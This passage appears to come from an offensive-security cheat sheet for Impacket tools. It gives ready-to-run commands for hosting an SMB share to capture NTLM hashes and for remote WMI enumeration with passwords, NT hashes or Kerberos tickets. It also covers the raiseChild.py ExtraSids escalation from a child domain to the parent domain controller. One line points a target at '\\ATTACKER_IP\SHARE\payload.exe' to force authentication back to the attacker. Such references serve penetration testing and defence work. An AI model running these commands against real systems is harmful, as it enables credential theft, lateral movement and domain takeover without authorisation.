# Authenticated share
smbserver.py -smb2support -username $USER -password $PASSWORD SHARE /path/to/serve

# Capture NTLM hashes from incoming connections (pair with Responder for relay)
smbserver.py -smb2support SHARE /tmp/share

# Then on the target: \\ATTACKER_IP\SHARE\payload.exe (forces NTLM auth back to you)
```

## WMI Queries (wmiquery.py)

Execute arbitrary WMI queries on a remote host.

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    wmiquery.py $DOMAIN/$USER:$PASSWORD@$IP "SELECT * FROM Win32_UserAccount"
    wmiquery.py $DOMAIN/$USER:$PASSWORD@$IP "SELECT * FROM Win32_Process"
    wmiquery.py $DOMAIN/$USER:$PASSWORD@$IP "SELECT * FROM Win32_Service WHERE StartMode='Auto'"
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    wmiquery.py $DOMAIN/$USER@$IP -hashes :$NTHASH "SELECT * FROM Win32_UserAccount"
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    wmiquery.py -k -no-pass $DOMAIN/$USER@$HOSTNAME "SELECT * FROM Win32_UserAccount"
    ```
  </Tab>
</Tabs>

## Child to Parent Escalation (raiseChild.py)

Automates the ExtraSids attack: DCSync from a compromised child domain, forge a Golden Ticket with the Enterprise Admins SID, and get a shell on the parent DC. Requires child domain DC admin.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Full automated chain: child DC creds to parent DA
raiseChild.py child.$DOMAIN/$USER:$PASSWORD

# Execute a command on the parent DC after escalation
raiseChild.py child.$DOMAIN/$USER:$PASSWORD -target-exec parent-dc.$DOMAIN

# With NT hash
raiseChild.py child.$DOMAIN/$USER -hashes :$NTHASH -target-exec parent-dc.$DOMAIN
```